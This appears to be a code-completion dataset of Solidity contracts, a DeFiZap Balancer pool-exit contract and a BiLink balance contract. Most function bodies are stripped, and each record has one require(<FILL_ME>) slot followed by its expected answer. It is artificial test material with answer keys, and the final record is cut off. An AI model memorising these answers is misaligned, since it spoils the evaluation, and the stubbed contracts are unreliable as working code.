returns (uint256) { } /** @notice In the case of user wanting to get out in ETH, the '_ToTokenContractAddress' it will be address(0x0) @param _toWhomToIssue is the address of user @param _ToTokenContractAddress is the address of the token to which you want to convert to @param _FromBalancerPoolAddress the address of the Balancer Pool from which you want to ZapOut @param _IncomingBPT is the quantity of Balancer Pool tokens that the user wants to ZapOut @param _IntermediateToken is the token to which the Balancer Pool should be Zapped Out @param slippage slippage user wants @notice this is only used if the outgoing token is not amongst the Balancer Pool tokens @return success or failure */ function ZapOut( address payable _toWhomToIssue, address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _IntermediateToken, uint256 slippage ) public payable nonReentrant stopInEmergency returns (uint256) { } /** @notice This method is called by ZapOut and EasyZapOut() @param _toWhomToIssue is the address of user @param _ToTokenContractAddress is the address of the token to which you want to convert to @param _FromBalancerPoolAddress the address of the Balancer Pool from which you want to ZapOut @param _IncomingBPT is the quantity of Balancer Pool tokens that the user wants to ZapOut @param _IntermediateToken is the token to which the Balancer Pool should be Zapped Out @notice this is only used if the outgoing token is not amongst the Balancer Pool tokens @return success or failure */ function _performZapOut( address payable _toWhomToIssue, address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _IntermediateToken, uint256 slippage ) internal returns (uint256) { //transfer goodwill uint256 goodwillPortion = _transferGoodwill( _FromBalancerPoolAddress, _IncomingBPT, _toWhomToIssue ); require(<FILL_ME>) if ( IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress).isBound( _ToTokenContractAddress ) ) { return ( _directZapout( _FromBalancerPoolAddress, _ToTokenContractAddress, _toWhomToIssue, SafeMath.sub(_IncomingBPT, goodwillPortion) ) ); } //exit balancer uint256 _returnedTokens = _exitBalancer( _FromBalancerPoolAddress, _IntermediateToken, SafeMath.sub(_IncomingBPT, goodwillPortion) ); if (_ToTokenContractAddress == address(0)) { uint256 ethBought = _token2Eth( _IntermediateToken, _returnedTokens, _toWhomToIssue, slippage ); emit Zapout( _toWhomToIssue, _FromBalancerPoolAddress, _ToTokenContractAddress, ethBought ); return ethBought; } else { uint256 tokenBought = _token2Token( _IntermediateToken, _toWhomToIssue, _ToTokenContractAddress, _returnedTokens, slippage ); emit Zapout( _toWhomToIssue, _FromBalancerPoolAddress, _ToTokenContractAddress, tokenBought ); return tokenBought; } } /** @notice This function is used for zapping out of balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _ToTokenContractAddress The token in which we want to zapout (for ethers, its zero address) @param _toWhomToIssue The address of user @param tokens2Trade The quantity of balancer pool tokens @return success or failure */ function _directZapout( address _FromBalancerPoolAddress, address _ToTokenContractAddress, address _toWhomToIssue, uint256 tokens2Trade ) internal returns (uint256 returnedTokens) { } /** @notice This function is used to calculate and transfer goodwill @param _tokenContractAddress Token address in which goodwill is deducted @param tokens2Trade The total amount of tokens to be zapped out @param _toWhomToIssue The address of user @return The amount of goodwill deducted */ function _transferGoodwill( address _tokenContractAddress, uint256 tokens2Trade, address _toWhomToIssue ) internal returns (uint256 goodwillPortion) { } /** @notice This function finds best token from the final tokens of balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _IncomingBPT The amount of balancer pool token to covert @return The token address having max liquidity */ function _getBestDeal( address _FromBalancerPoolAddress, uint256 _IncomingBPT ) internal view returns (address _token) { } /** @notice This function gives the amount of tokens on zapping out from given BPool @param _FromBalancerPoolAddress Address of balancer pool to zapout from @param _IncomingBPT The amount of BPT to zapout @param _toToken Address of token to zap out with @return Amount of ERC token */ function getBPT2Token( address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _toToken ) internal view returns (uint256 tokensReturned) { } /** @notice This function is used to zap out of the given balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _ToTokenContractAddress The Token address which will be zapped out @param _amount The amount of token for zapout @return The amount of tokens received after zap out */ function _exitBalancer( address _FromBalancerPoolAddress, address _ToTokenContractAddress, uint256 _amount ) internal returns (uint256 returnedTokens) { } /** @notice This function is used to swap tokens @param _FromTokenContractAddress The token address to swap from @param _ToWhomToIssue The address to transfer after swap @param _ToTokenContractAddress The token address to swap to @param tokens2Trade The quantity of tokens to swap @return The amount of tokens returned after swap */ function _token2Token( address _FromTokenContractAddress, address _ToWhomToIssue, address _ToTokenContractAddress, uint256 tokens2Trade, uint256 slippage ) internal returns (uint256 tokenBought) { } /** @notice This function is used to swap tokens to eth @param _FromTokenContractAddress The token address to swap from @param tokens2Trade The quantity of tokens to swap @param _toWhomToIssue The address to transfer after swap @return The amount of ether returned after swap */ function _token2Eth( address _FromTokenContractAddress, uint256 tokens2Trade, address payable _toWhomToIssue, uint256 slippage ) internal returns (uint256 ethBought) { } function updateSlippage(uint256 _newSlippage) public onlyOwner { } function set_new_goodwill(uint16 _new_goodwill) public onlyOwner { } function set_new_dzgoodwillAddress(address _new_dzgoodwillAddress) public onlyOwner { } function inCaseTokengetsStuck(IERC20 _TokenAddress) public onlyOwner { } // - to Pause the contract function toggleContractActive() public onlyOwner { } // - to withdraw any ETH balance sitting in the contract function withdraw() public onlyOwner { } // - to kill the contract function destruct() public onlyOwner { } function() external payable {} }
IERC20(_FromBalancerPoolAddress).transferFrom(_toWhomToIssue,address(this),SafeMath.sub(_IncomingBPT,goodwillPortion))
372,318
IERC20(_FromBalancerPoolAddress).transferFrom(_toWhomToIssue,address(this),SafeMath.sub(_IncomingBPT,goodwillPortion))
"Error in transferring BPT:1"
///@author DeFiZap ///@notice this contract helps in exiting balancer pools with ETH/ERC20 tokens pragma solidity 0.5.12; interface IBFactory_Balancer_Unzap_V1_1 { function isBPool(address b) external view returns (bool); } interface IBPool_Balancer_Unzap_V1_1 { function exitswapPoolAmountIn( address tokenOut, uint256 poolAmountIn, uint256 minAmountOut ) external payable returns (uint256 tokenAmountOut); function totalSupply() external view returns (uint256); function getFinalTokens() external view returns (address[] memory tokens); function getDenormalizedWeight(address token) external view returns (uint256); function getTotalDenormalizedWeight() external view returns (uint256); function getSwapFee() external view returns (uint256); function isBound(address t) external view returns (bool); function calcSingleOutGivenPoolIn( uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 poolSupply, uint256 totalWeight, uint256 poolAmountIn, uint256 swapFee ) external pure returns (uint256 tokenAmountOut); function getBalance(address token) external view returns (uint256); } interface IuniswapFactory_Balancer_Unzap_V1_1 { function getExchange(address token) external view returns (address exchange); } interface Iuniswap_Balancer_Unzap_V1_1 { // converting ERC20 to ERC20 and transfer function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr ) external returns (uint256 tokens_bought); function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought); function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought); function tokenToEthTransferInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient ) external returns (uint256 eth_bought); function balanceOf(address _owner) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom( address from, address to, uint256 tokens ) external returns (bool success); } interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); function withdraw(uint256) external; } contract Balancer_Unzap_V1_1 is ReentrancyGuard, Ownable { using SafeMath for uint256; using Address for address; bool private stopped = false; uint16 public goodwill; address public dzgoodwillAddress; uint256 public defaultSlippage; IuniswapFactory_Balancer_Unzap_V1_1 public UniSwapFactoryAddress = IuniswapFactory_Balancer_Unzap_V1_1( 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95 ); IBFactory_Balancer_Unzap_V1_1 BalancerFactory = IBFactory_Balancer_Unzap_V1_1( 0x9424B1412450D0f8Fc2255FAf6046b98213B76Bd ); address wethTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Zapout( address _toWhomToIssue, address _fromBalancerPoolAddress, address _toTokenContractAddress, uint256 _OutgoingAmount ); constructor( uint16 _goodwill, address _dzgoodwillAddress, uint256 _slippage ) public { } // circuit breaker modifiers modifier stopInEmergency { } /** @notice This function is used for zapping out of balancer pools @param _ToTokenContractAddress The token in which we want zapout (for ethers, its zero address) @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _IncomingBPT The quantity of balancer pool tokens @param slippage slippage user wants @return success or failure */ function EasyZapOut( address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, uint256 slippage ) public payable nonReentrant stopInEmergency returns (uint256) { } /** @notice In the case of user wanting to get out in ETH, the '_ToTokenContractAddress' it will be address(0x0) @param _toWhomToIssue is the address of user @param _ToTokenContractAddress is the address of the token to which you want to convert to @param _FromBalancerPoolAddress the address of the Balancer Pool from which you want to ZapOut @param _IncomingBPT is the quantity of Balancer Pool tokens that the user wants to ZapOut @param _IntermediateToken is the token to which the Balancer Pool should be Zapped Out @param slippage slippage user wants @notice this is only used if the outgoing token is not amongst the Balancer Pool tokens @return success or failure */ function ZapOut( address payable _toWhomToIssue, address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _IntermediateToken, uint256 slippage ) public payable nonReentrant stopInEmergency returns (uint256) { } /** @notice This method is called by ZapOut and EasyZapOut() @param _toWhomToIssue is the address of user @param _ToTokenContractAddress is the address of the token to which you want to convert to @param _FromBalancerPoolAddress the address of the Balancer Pool from which you want to ZapOut @param _IncomingBPT is the quantity of Balancer Pool tokens that the user wants to ZapOut @param _IntermediateToken is the token to which the Balancer Pool should be Zapped Out @notice this is only used if the outgoing token is not amongst the Balancer Pool tokens @return success or failure */ function _performZapOut( address payable _toWhomToIssue, address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _IntermediateToken, uint256 slippage ) internal returns (uint256) { } /** @notice This function is used for zapping out of balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _ToTokenContractAddress The token in which we want to zapout (for ethers, its zero address) @param _toWhomToIssue The address of user @param tokens2Trade The quantity of balancer pool tokens @return success or failure */ function _directZapout( address _FromBalancerPoolAddress, address _ToTokenContractAddress, address _toWhomToIssue, uint256 tokens2Trade ) internal returns (uint256 returnedTokens) { } /** @notice This function is used to calculate and transfer goodwill @param _tokenContractAddress Token address in which goodwill is deducted @param tokens2Trade The total amount of tokens to be zapped out @param _toWhomToIssue The address of user @return The amount of goodwill deducted */ function _transferGoodwill( address _tokenContractAddress, uint256 tokens2Trade, address _toWhomToIssue ) internal returns (uint256 goodwillPortion) { goodwillPortion = SafeMath.div( SafeMath.mul(tokens2Trade, goodwill), 10000 ); if (goodwillPortion == 0) { return 0; } require(<FILL_ME>) return goodwillPortion; } /** @notice This function finds best token from the final tokens of balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _IncomingBPT The amount of balancer pool token to covert @return The token address having max liquidity */ function _getBestDeal( address _FromBalancerPoolAddress, uint256 _IncomingBPT ) internal view returns (address _token) { } /** @notice This function gives the amount of tokens on zapping out from given BPool @param _FromBalancerPoolAddress Address of balancer pool to zapout from @param _IncomingBPT The amount of BPT to zapout @param _toToken Address of token to zap out with @return Amount of ERC token */ function getBPT2Token( address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _toToken ) internal view returns (uint256 tokensReturned) { } /** @notice This function is used to zap out of the given balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _ToTokenContractAddress The Token address which will be zapped out @param _amount The amount of token for zapout @return The amount of tokens received after zap out */ function _exitBalancer( address _FromBalancerPoolAddress, address _ToTokenContractAddress, uint256 _amount ) internal returns (uint256 returnedTokens) { } /** @notice This function is used to swap tokens @param _FromTokenContractAddress The token address to swap from @param _ToWhomToIssue The address to transfer after swap @param _ToTokenContractAddress The token address to swap to @param tokens2Trade The quantity of tokens to swap @return The amount of tokens returned after swap */ function _token2Token( address _FromTokenContractAddress, address _ToWhomToIssue, address _ToTokenContractAddress, uint256 tokens2Trade, uint256 slippage ) internal returns (uint256 tokenBought) { } /** @notice This function is used to swap tokens to eth @param _FromTokenContractAddress The token address to swap from @param tokens2Trade The quantity of tokens to swap @param _toWhomToIssue The address to transfer after swap @return The amount of ether returned after swap */ function _token2Eth( address _FromTokenContractAddress, uint256 tokens2Trade, address payable _toWhomToIssue, uint256 slippage ) internal returns (uint256 ethBought) { } function updateSlippage(uint256 _newSlippage) public onlyOwner { } function set_new_goodwill(uint16 _new_goodwill) public onlyOwner { } function set_new_dzgoodwillAddress(address _new_dzgoodwillAddress) public onlyOwner { } function inCaseTokengetsStuck(IERC20 _TokenAddress) public onlyOwner { } // - to Pause the contract function toggleContractActive() public onlyOwner { } // - to withdraw any ETH balance sitting in the contract function withdraw() public onlyOwner { } // - to kill the contract function destruct() public onlyOwner { } function() external payable {} }
IERC20(_tokenContractAddress).transferFrom(_toWhomToIssue,dzgoodwillAddress,goodwillPortion),"Error in transferring BPT:1"
372,318
IERC20(_tokenContractAddress).transferFrom(_toWhomToIssue,dzgoodwillAddress,goodwillPortion)
"Token not bound"
///@author DeFiZap ///@notice this contract helps in exiting balancer pools with ETH/ERC20 tokens pragma solidity 0.5.12; interface IBFactory_Balancer_Unzap_V1_1 { function isBPool(address b) external view returns (bool); } interface IBPool_Balancer_Unzap_V1_1 { function exitswapPoolAmountIn( address tokenOut, uint256 poolAmountIn, uint256 minAmountOut ) external payable returns (uint256 tokenAmountOut); function totalSupply() external view returns (uint256); function getFinalTokens() external view returns (address[] memory tokens); function getDenormalizedWeight(address token) external view returns (uint256); function getTotalDenormalizedWeight() external view returns (uint256); function getSwapFee() external view returns (uint256); function isBound(address t) external view returns (bool); function calcSingleOutGivenPoolIn( uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 poolSupply, uint256 totalWeight, uint256 poolAmountIn, uint256 swapFee ) external pure returns (uint256 tokenAmountOut); function getBalance(address token) external view returns (uint256); } interface IuniswapFactory_Balancer_Unzap_V1_1 { function getExchange(address token) external view returns (address exchange); } interface Iuniswap_Balancer_Unzap_V1_1 { // converting ERC20 to ERC20 and transfer function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr ) external returns (uint256 tokens_bought); function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought); function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought); function tokenToEthTransferInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient ) external returns (uint256 eth_bought); function balanceOf(address _owner) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom( address from, address to, uint256 tokens ) external returns (bool success); } interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); function withdraw(uint256) external; } contract Balancer_Unzap_V1_1 is ReentrancyGuard, Ownable { using SafeMath for uint256; using Address for address; bool private stopped = false; uint16 public goodwill; address public dzgoodwillAddress; uint256 public defaultSlippage; IuniswapFactory_Balancer_Unzap_V1_1 public UniSwapFactoryAddress = IuniswapFactory_Balancer_Unzap_V1_1( 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95 ); IBFactory_Balancer_Unzap_V1_1 BalancerFactory = IBFactory_Balancer_Unzap_V1_1( 0x9424B1412450D0f8Fc2255FAf6046b98213B76Bd ); address wethTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Zapout( address _toWhomToIssue, address _fromBalancerPoolAddress, address _toTokenContractAddress, uint256 _OutgoingAmount ); constructor( uint16 _goodwill, address _dzgoodwillAddress, uint256 _slippage ) public { } // circuit breaker modifiers modifier stopInEmergency { } /** @notice This function is used for zapping out of balancer pools @param _ToTokenContractAddress The token in which we want zapout (for ethers, its zero address) @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _IncomingBPT The quantity of balancer pool tokens @param slippage slippage user wants @return success or failure */ function EasyZapOut( address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, uint256 slippage ) public payable nonReentrant stopInEmergency returns (uint256) { } /** @notice In the case of user wanting to get out in ETH, the '_ToTokenContractAddress' it will be address(0x0) @param _toWhomToIssue is the address of user @param _ToTokenContractAddress is the address of the token to which you want to convert to @param _FromBalancerPoolAddress the address of the Balancer Pool from which you want to ZapOut @param _IncomingBPT is the quantity of Balancer Pool tokens that the user wants to ZapOut @param _IntermediateToken is the token to which the Balancer Pool should be Zapped Out @param slippage slippage user wants @notice this is only used if the outgoing token is not amongst the Balancer Pool tokens @return success or failure */ function ZapOut( address payable _toWhomToIssue, address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _IntermediateToken, uint256 slippage ) public payable nonReentrant stopInEmergency returns (uint256) { } /** @notice This method is called by ZapOut and EasyZapOut() @param _toWhomToIssue is the address of user @param _ToTokenContractAddress is the address of the token to which you want to convert to @param _FromBalancerPoolAddress the address of the Balancer Pool from which you want to ZapOut @param _IncomingBPT is the quantity of Balancer Pool tokens that the user wants to ZapOut @param _IntermediateToken is the token to which the Balancer Pool should be Zapped Out @notice this is only used if the outgoing token is not amongst the Balancer Pool tokens @return success or failure */ function _performZapOut( address payable _toWhomToIssue, address _ToTokenContractAddress, address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _IntermediateToken, uint256 slippage ) internal returns (uint256) { } /** @notice This function is used for zapping out of balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _ToTokenContractAddress The token in which we want to zapout (for ethers, its zero address) @param _toWhomToIssue The address of user @param tokens2Trade The quantity of balancer pool tokens @return success or failure */ function _directZapout( address _FromBalancerPoolAddress, address _ToTokenContractAddress, address _toWhomToIssue, uint256 tokens2Trade ) internal returns (uint256 returnedTokens) { } /** @notice This function is used to calculate and transfer goodwill @param _tokenContractAddress Token address in which goodwill is deducted @param tokens2Trade The total amount of tokens to be zapped out @param _toWhomToIssue The address of user @return The amount of goodwill deducted */ function _transferGoodwill( address _tokenContractAddress, uint256 tokens2Trade, address _toWhomToIssue ) internal returns (uint256 goodwillPortion) { } /** @notice This function finds best token from the final tokens of balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _IncomingBPT The amount of balancer pool token to covert @return The token address having max liquidity */ function _getBestDeal( address _FromBalancerPoolAddress, uint256 _IncomingBPT ) internal view returns (address _token) { } /** @notice This function gives the amount of tokens on zapping out from given BPool @param _FromBalancerPoolAddress Address of balancer pool to zapout from @param _IncomingBPT The amount of BPT to zapout @param _toToken Address of token to zap out with @return Amount of ERC token */ function getBPT2Token( address _FromBalancerPoolAddress, uint256 _IncomingBPT, address _toToken ) internal view returns (uint256 tokensReturned) { } /** @notice This function is used to zap out of the given balancer pool @param _FromBalancerPoolAddress The address of balancer pool to zap out @param _ToTokenContractAddress The Token address which will be zapped out @param _amount The amount of token for zapout @return The amount of tokens received after zap out */ function _exitBalancer( address _FromBalancerPoolAddress, address _ToTokenContractAddress, uint256 _amount ) internal returns (uint256 returnedTokens) { require(<FILL_ME>) returnedTokens = IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress) .exitswapPoolAmountIn(_ToTokenContractAddress, _amount, 1); require(returnedTokens > 0, "Error in exiting balancer pool"); } /** @notice This function is used to swap tokens @param _FromTokenContractAddress The token address to swap from @param _ToWhomToIssue The address to transfer after swap @param _ToTokenContractAddress The token address to swap to @param tokens2Trade The quantity of tokens to swap @return The amount of tokens returned after swap */ function _token2Token( address _FromTokenContractAddress, address _ToWhomToIssue, address _ToTokenContractAddress, uint256 tokens2Trade, uint256 slippage ) internal returns (uint256 tokenBought) { } /** @notice This function is used to swap tokens to eth @param _FromTokenContractAddress The token address to swap from @param tokens2Trade The quantity of tokens to swap @param _toWhomToIssue The address to transfer after swap @return The amount of ether returned after swap */ function _token2Eth( address _FromTokenContractAddress, uint256 tokens2Trade, address payable _toWhomToIssue, uint256 slippage ) internal returns (uint256 ethBought) { } function updateSlippage(uint256 _newSlippage) public onlyOwner { } function set_new_goodwill(uint16 _new_goodwill) public onlyOwner { } function set_new_dzgoodwillAddress(address _new_dzgoodwillAddress) public onlyOwner { } function inCaseTokengetsStuck(IERC20 _TokenAddress) public onlyOwner { } // - to Pause the contract function toggleContractActive() public onlyOwner { } // - to withdraw any ETH balance sitting in the contract function withdraw() public onlyOwner { } // - to kill the contract function destruct() public onlyOwner { } function() external payable {} }
IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress).isBound(_ToTokenContractAddress),"Token not bound"
372,318
IBPool_Balancer_Unzap_V1_1(_FromBalancerPoolAddress).isBound(_ToTokenContractAddress)
null
pragma solidity ^0.4.13; contract IToken { /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract IBiLinkToken is IToken { function getCanShareProfitAccounts() public constant returns (address[]); function totalSupply() public view returns (uint256); function balanceOf(address _account) public view returns (uint256); function mint(address _to, uint256 _amount) public returns (bool); function burn(uint256 amount) public; } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract Ownable { address public owner; constructor(address _owner) public { } modifier onlyOwner() { } function transferOwnership(address newOwner) onlyOwner { } } contract ILoanLogic { function getTotalPledgeAmount(address token, address account) public constant returns (uint256); function hasUnpaidLoan(address account) public constant returns (bool); function getTotalBorrowAmount(address _token) public constant returns (uint256); } contract IMarketData { function getTokenExchangeRatio(address _tokenNum, address _tokenDenom) public returns (uint256 num, uint256 denom); } contract Balance is Ownable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public account2Token2Balance; mapping (address => uint256) public token2ProfitShare; mapping (address => address) public token2AssuranceAccount; mapping (address => uint256) public assuranceAccount2LastDepositTime; address public contractBLK; address public contractBiLinkLoan; address public contractLoanLogic; address public contractBiLinkExchange; address public contractMarketData; address public accountCost; uint256 public ratioProfit2Cost;//percentage uint256 public ratioProfit2BuyBLK;//percentage uint256 public ETH_BLK_MULTIPLIER= 1000; uint256 public amountEthToBuyBLK; uint256 public priceBLK;//eth bool public isLegacy;//if true, not allow new trade,new deposit bool private depositingTokenFlag; event OnShareProfit(address token, uint256 amount, uint256 timestamp ); event OnSellBLK(address account, uint256 amount, uint256 timestamp ); event OnDeposit(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnWithdraw(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnFundsMigrated(address account, address newContract, uint256 timestamp); constructor (address _owner, address _contractBLK, address _contractBiLinkLoan, address _contractLoanLogic, address _contractBiLinkExchange, address _contractMarketData , address _accountCost, uint256 _ratioProfit2Cost, uint256 _ratioProfit2BuyBLK, uint256 _priceBLK) public Ownable(_owner) { } function setThisContractAsLegacy() public onlyOwner { } function setRatioProfit2Cost(uint256 _ratio) public onlyOwner { } function setRatioProfit2BuyBLK(uint256 _ratio) public onlyOwner { } function setTokenAssuranceAccount(address _token, address _account) public onlyOwner { require(<FILL_ME>) token2AssuranceAccount[_token]= _account; } function getTokenAssuranceAccount(address _token) public constant returns (address) { } function getTokenAssuranceAmount(address _token) public constant returns (uint256) { } function depositEther() public payable { } function withdrawEther(uint256 _amount) public { } function depositToken(address _token, uint256 _amount) public { } function withdrawToken(address _token, uint256 _amount) public { } function tokenFallback( address _sender, uint256 _amount, bytes _data) public returns (bool ok) { } function getBalance(address _token, address _account) public constant returns (uint256, uint256) { } function getAvailableBalance(address _token, address _account) public constant returns (uint256) { } function modifyBalance(address _account, address _token, uint256 _amount, bool _addOrSub) public { } function distributeEthProfit (address _profitMaker, uint256 _amount) public { } function distributeTokenProfit (address _profitMaker, address _token, uint256 _amount) public { } function shareProfit(address _token) public { } function migrateFund(address _newContract, address[] _tokens) public { } function depositFromUserMigration(address _account) public payable { } function depositTokenFromUserMigration(address _token, uint _amount, address _account) public { } function getRemainBuyBLKAmount() public constant returns (uint256) { } function sellBLK(uint256 _amountBLK) public { } }
token2AssuranceAccount[_token]==address(0)
372,354
token2AssuranceAccount[_token]==address(0)
null
pragma solidity ^0.4.13; contract IToken { /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract IBiLinkToken is IToken { function getCanShareProfitAccounts() public constant returns (address[]); function totalSupply() public view returns (uint256); function balanceOf(address _account) public view returns (uint256); function mint(address _to, uint256 _amount) public returns (bool); function burn(uint256 amount) public; } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract Ownable { address public owner; constructor(address _owner) public { } modifier onlyOwner() { } function transferOwnership(address newOwner) onlyOwner { } } contract ILoanLogic { function getTotalPledgeAmount(address token, address account) public constant returns (uint256); function hasUnpaidLoan(address account) public constant returns (bool); function getTotalBorrowAmount(address _token) public constant returns (uint256); } contract IMarketData { function getTokenExchangeRatio(address _tokenNum, address _tokenDenom) public returns (uint256 num, uint256 denom); } contract Balance is Ownable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public account2Token2Balance; mapping (address => uint256) public token2ProfitShare; mapping (address => address) public token2AssuranceAccount; mapping (address => uint256) public assuranceAccount2LastDepositTime; address public contractBLK; address public contractBiLinkLoan; address public contractLoanLogic; address public contractBiLinkExchange; address public contractMarketData; address public accountCost; uint256 public ratioProfit2Cost;//percentage uint256 public ratioProfit2BuyBLK;//percentage uint256 public ETH_BLK_MULTIPLIER= 1000; uint256 public amountEthToBuyBLK; uint256 public priceBLK;//eth bool public isLegacy;//if true, not allow new trade,new deposit bool private depositingTokenFlag; event OnShareProfit(address token, uint256 amount, uint256 timestamp ); event OnSellBLK(address account, uint256 amount, uint256 timestamp ); event OnDeposit(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnWithdraw(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnFundsMigrated(address account, address newContract, uint256 timestamp); constructor (address _owner, address _contractBLK, address _contractBiLinkLoan, address _contractLoanLogic, address _contractBiLinkExchange, address _contractMarketData , address _accountCost, uint256 _ratioProfit2Cost, uint256 _ratioProfit2BuyBLK, uint256 _priceBLK) public Ownable(_owner) { } function setThisContractAsLegacy() public onlyOwner { } function setRatioProfit2Cost(uint256 _ratio) public onlyOwner { } function setRatioProfit2BuyBLK(uint256 _ratio) public onlyOwner { } function setTokenAssuranceAccount(address _token, address _account) public onlyOwner { } function getTokenAssuranceAccount(address _token) public constant returns (address) { } function getTokenAssuranceAmount(address _token) public constant returns (uint256) { } function depositEther() public payable { } function withdrawEther(uint256 _amount) public { require(<FILL_ME>) account2Token2Balance[msg.sender][0] = account2Token2Balance[msg.sender][0].sub(_amount); msg.sender.transfer(_amount); emit OnWithdraw(0, msg.sender, _amount, account2Token2Balance[msg.sender][0], now); } function depositToken(address _token, uint256 _amount) public { } function withdrawToken(address _token, uint256 _amount) public { } function tokenFallback( address _sender, uint256 _amount, bytes _data) public returns (bool ok) { } function getBalance(address _token, address _account) public constant returns (uint256, uint256) { } function getAvailableBalance(address _token, address _account) public constant returns (uint256) { } function modifyBalance(address _account, address _token, uint256 _amount, bool _addOrSub) public { } function distributeEthProfit (address _profitMaker, uint256 _amount) public { } function distributeTokenProfit (address _profitMaker, address _token, uint256 _amount) public { } function shareProfit(address _token) public { } function migrateFund(address _newContract, address[] _tokens) public { } function depositFromUserMigration(address _account) public payable { } function depositTokenFromUserMigration(address _token, uint _amount, address _account) public { } function getRemainBuyBLKAmount() public constant returns (uint256) { } function sellBLK(uint256 _amountBLK) public { } }
account2Token2Balance[msg.sender][0]>=_amount
372,354
account2Token2Balance[msg.sender][0]>=_amount
null
pragma solidity ^0.4.13; contract IToken { /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract IBiLinkToken is IToken { function getCanShareProfitAccounts() public constant returns (address[]); function totalSupply() public view returns (uint256); function balanceOf(address _account) public view returns (uint256); function mint(address _to, uint256 _amount) public returns (bool); function burn(uint256 amount) public; } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ 